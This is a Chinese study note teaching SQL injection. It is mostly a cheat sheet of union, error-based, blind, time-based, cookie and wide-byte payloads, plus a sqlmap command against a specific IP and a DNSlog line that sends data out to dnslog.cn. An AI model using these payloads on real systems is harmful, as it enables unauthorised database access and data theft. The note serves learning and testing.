基础普及-笔记共享(sql注入)

首先找注入点，任何与数据库有交互的地方都有可能存在sql注入
可控变量
带入数据库查询
变量存在过滤但可进行绕过

认证页面
搜索页面
Post请求
Get请求
HTTP头部
Cookie
等

常用函数：GROUP_CONCAT(col)     返回由属于一组的列值连接组合而成的结果###   ASCII(char)         返回字符的ASCII码值DATABASE()     返回当前数据库名USER()或SYSTEM_USER()    返回当前登陆用户名VERSION()     返回数据库的版本SLEEP(n)  休眠n秒2.  PHP 中的许多预定义变量都是“超全局的”，这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是：$_REQUEST （获取GET/POST/COOKIE） COOKIE在新版本已经无法获取了$_POST  （获取POST传参）$_GET  (获取GET的传参)$_COOKIE   （获取COOKIE的值）$_SERVER  （包含了诸如头信息(header)、路径(path)、以及脚本位置(script     locations)等等信息的数组）$_SERVER功能  常用的：  $_SERVER['HTTP_HOST']  请求头信息中的Host内容，获取当前域名。  $_SERVER["HTTP_USER_AGENT"]  获取用户相关信息，包括用户浏览器、操作    系统等信息。  $_SERVER["REMOTE_ADDR"]  浏览网页的用户ip。

在网站应用中进行数据显示查询操作例：select * from news where id=$id

在网站应用中进行用户注册添加等操作例：insert into news(id,url,text) values(2,'x','$t')

后台管理里面删除文章删除用户等操作例：delete from news where id=$id

会员或后台中心数据同步或缓存等操作例：update user set pwd='$p' where id=2 and username='admin'

一般结合表名或列名进行数据排序操作例：select * from news order by $id例：select id,name,price from news order by $order

我们可以通过以上查询方式与网站应用的关系注入点产生地方或应用猜测到对方的SQL查询方式只要存在前后台交互的地方都可能存在注入漏洞

?id=1 and 1=1(正确)  逻辑判断方法?id=1 and 1=2(错误)  逻辑判断方法?id=1' 符号干扰判断方法    包括："   ")  '    ')?id=0.1111 ?id=-1 参数错误判断方法?id=1 and sleep(10) 延时判断方法?id=1-1 运算符判断方法示：闭合方法 'and '1'='1' and 1=1 --+-' and 1=1 #" and 1=1 %23 ?id=1' and 1=2 ;%00 特殊的注释符id=1' or 1=1 or '1'='1id=1' or 1=2 or '1'='1id=1' and 1=1 and '1'='1id=1' and 1=2 and '1'='1

-1%2B1'--+"--+'#') --+")--+')#' or '1'='1' and '1'='1' and sleep(5); and 1=1 and 1=21 and sleep(4) --+1' and sleep(4) --+1') and sleep(4) --+ ;WAITFOR DELAY '0:0:5'--admin' or 'a'='a' or 'a'='aand 1 like 2admin')or 1=1#admin' or '1'='11 /*123*/  union select user(),2/**/and/**/1=21' and '1' like '11' and '1' like '01' or  '1' like'01'or '1' like '11/01/21/3'^1/1^'0'||1/1||' 'and+1/user='1

order by (数据库排序命令)例：?id=1' order by 3 -- -group by 例：?id=1' group by 3 desc-- -

union select(数据库联合查询命令)例：?id=-1' union select 1,2,3 -- -

database() （返回当前数据库名）例：?id=-1' union select 1,database(),3 -- -

information_schema:系统自带库 table_name:列名 column_nmae:数据库名 information_schema.tables:存储表名信息的表 information_schema.columns:存储列名信息的表 information_schema.schemata:存储数据库名信息的表 例1：?id=-1' union select 1,table_name,3 from information_schema.tabales        where table_schema=database() limit 0,1-- - (试用limit进行多条件查询、在无法显示多条信息的时候使用) 例2：?id=-1' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -

获取某数据库下的表名下面的列名信息例：?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schenma='表名'-- -

例：?id=-1' union select 1,字段名,3 from 表名 limit 0,1 -- -

例：uname=admin' order by 1,2 #&passwd=admin&submit=Submiuname=-admin' union select 1,database() #&passwd=admin&submit=Submi

User-Agent:'or updatexml(1,concat(0x7e,(select database())),1),1)#Referer: 'or updatexml(1,concat(0x7e,(select database())),1),1)#X-Forwarded-For:'or updatexml(1,concat(0x7e,(select database())),1),1)#

and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x3a,(select user())),1));
and GeometryCollection((select*from(select*from(select @@version)f)x));
and polygon((select*from(select name_const(version(),1))x))
and linestring((select * from(select * from(select user())a)b));
and multilinestring((select * from(select * from(select version())a)b));
and multipoint((select * from(select * from(select user())a)b));
and multipolygon((select * from(select * from(select user())a)b));
and exp(~(select * from(select version())a));

length() 函数 返回字符串的长度substr() 截取字符串 （语法:SUBSTR(str,pos,len);） ascii() 返回字符的ascii码   [将字符变为数字wei]sleep() 将程序挂起一段时间n为n秒if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句  

猜解当前数据库名称长度and (length(database()))>9#利用ASCII码猜解当前数据库名称and (ascii(substr(database(),1,1)))=115--+ 返回正常，说明数据库名称第一位是sand (ascii(substr(database(),2,1)))=101--+ 返回正常，说明数据库名称第二位是e猜表名and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常，说明数据库表名的第一个的第一位是e猜字段名and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102--+ 返回正常，说明表中的列名称第一位是f猜内容and (ascii(substr(( select 字段名 from 表名 limit 3,1),1,1)))=122--+返回正常，说明第四列第一位是122，122等于z

判断方法and sleep(10)--+做法判断数据库名 长度?id=1'and if(length(database())=8,sleep(10),1) --+ 判断数据库名第一位是什么and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
注：mssql 延时 返回正常将延时五秒if exists (select * from sysobjects) waitfor delay '0:0:5'--+-

Document.cookie="id="+escape("171")Document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")

sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

条件：注入点表的字段数要大于等于查询表的字段数原理：利用数据库语法中的 表名.* 代表表中的所有字段判断注入点（常规判断不写）判断字段数order by联合查询判断回显点union select 1,2,3,4,5,6 from admin偏移查询数据(移动字段的位置获取字段内容)union select 1,2,admin.*,4,5,6 from adminunion select 1,2,3,admin.*,5,6 from admin表爆破：exists(select*from admin)

get传参：注入点判断%df%27%20--+
字段数%df%27%20order%20by%201,2,3--+
显错位%df%27%20union%20select%201,2,3--+
查库名，爆表名（用16进制来代替字符串）%df%27%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7769646563686172%20--+

常用dnslog平台：  http://www.dnslog.cn  http://ceye.ioMySQL查询示例：  SELECT LOAD_FILE('//',(select database()),'.fsd25z.dnslog.cn/abc');参考资料：  https://blog.csdn.net/qq_35569814/article/details/100348097  https://www.cnblogs.com/-qing-/p/10623583.html  http://t.zoukankan.com/s1ye-p-8909452.html